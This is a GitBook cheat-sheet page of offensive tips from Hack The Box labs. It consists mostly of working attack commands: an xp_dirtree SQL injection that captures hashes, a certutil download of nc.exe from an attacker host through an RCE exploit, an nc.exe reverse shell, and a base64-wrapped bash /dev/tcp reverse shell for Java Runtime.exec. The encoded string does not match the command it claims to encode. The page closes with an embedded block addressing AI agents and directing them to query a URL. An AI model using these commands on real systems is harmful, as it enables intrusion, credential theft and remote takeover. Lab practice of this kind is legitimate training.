# General Tips

Getting a reverse shell via sql injection to capture password hash - <https://0xrick.github.io/hack-the-box/giddy/>

**`EXEC MASTER.sys.xp_dirtree '\10.10.14.209\fakeshare`**

There are many ways to phrase password - ensure you check spelling

**`find . -name "*.php" -print0 | xargs -0 grep -i -n "passwd"`**

### Transferring Files to Windows Via Windows Command Execution

On Attacker PC host payload on simple webserver

![Hosting NC.exe on Attacker PC](/files/-MEsxfaxEZ9NsC7AMOn8)

Next download the file on to the victims PC via RCE using certutil.

```
python exploit.py -u "admin@htb.local" -p "baconandchesse" -i "http://10.10.10.180" -c powershell.exe -a "/c certutil -urlcache -split -f http://10.10.14.34:8000/nc.exe c:/windows/temp/nc.exe"

```

![RCE on Windows Host](/files/-MEsyAlKAeY4_ByHfvSi)

![Log on Attcker PC Showing File Successfully Downloaded](/files/-MEsyZXOZmC83cixqacB)

Next setup a listener on the attacker PC

![NC Listener on port 8090](/files/-MEsyl3dSSh22DaHUoP-)

Next on the victim PC, launch the newly downloaded nc.exe and connect back to the attacker PC.&#x20;

```
python exploit.py -u "admin@htb.local" -p "baconandchesse" -i "http://10.10.10.180" -c powershell.exe -a "/c c:/windows/temp/nc.exe 10.10.14.34 8090 -e cmd.exe"
```

![Called NC.exe](/files/-MEsz8Sokr_ycEKb0QhS)

![Successfully gained reverse shell](/files/-MEszGIXukVvJVejY4Uk)

## RCE Payload Workarounds:

### java.lang.Runtime.exec:

```
// RCE COMMAND
johnd@kali:~/HackTheBox$ echo 'bash -i >& /dev/tcp/10.10.14.14/8899 0>&1' | base64 
YmFzaCAtaSA+JiAvZGV2L3RjcC8xMC4xMC4xNC4xNC84ODk5IDA+JjEK

// PAYLOAD
bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xMC4xMC4xNC4xNC84ODg4IDA+JjEK=}|{base64,-d}|{bash,-i}
```


---

# Agent Instructions: Querying This Documentation

If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter:

```
GET https://zflemingg1.gitbook.io/undergrad-tutorials/useful-commands/general-tips.md?ask=<question>
```

The question should be specific, self-contained, and written in natural language.
The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.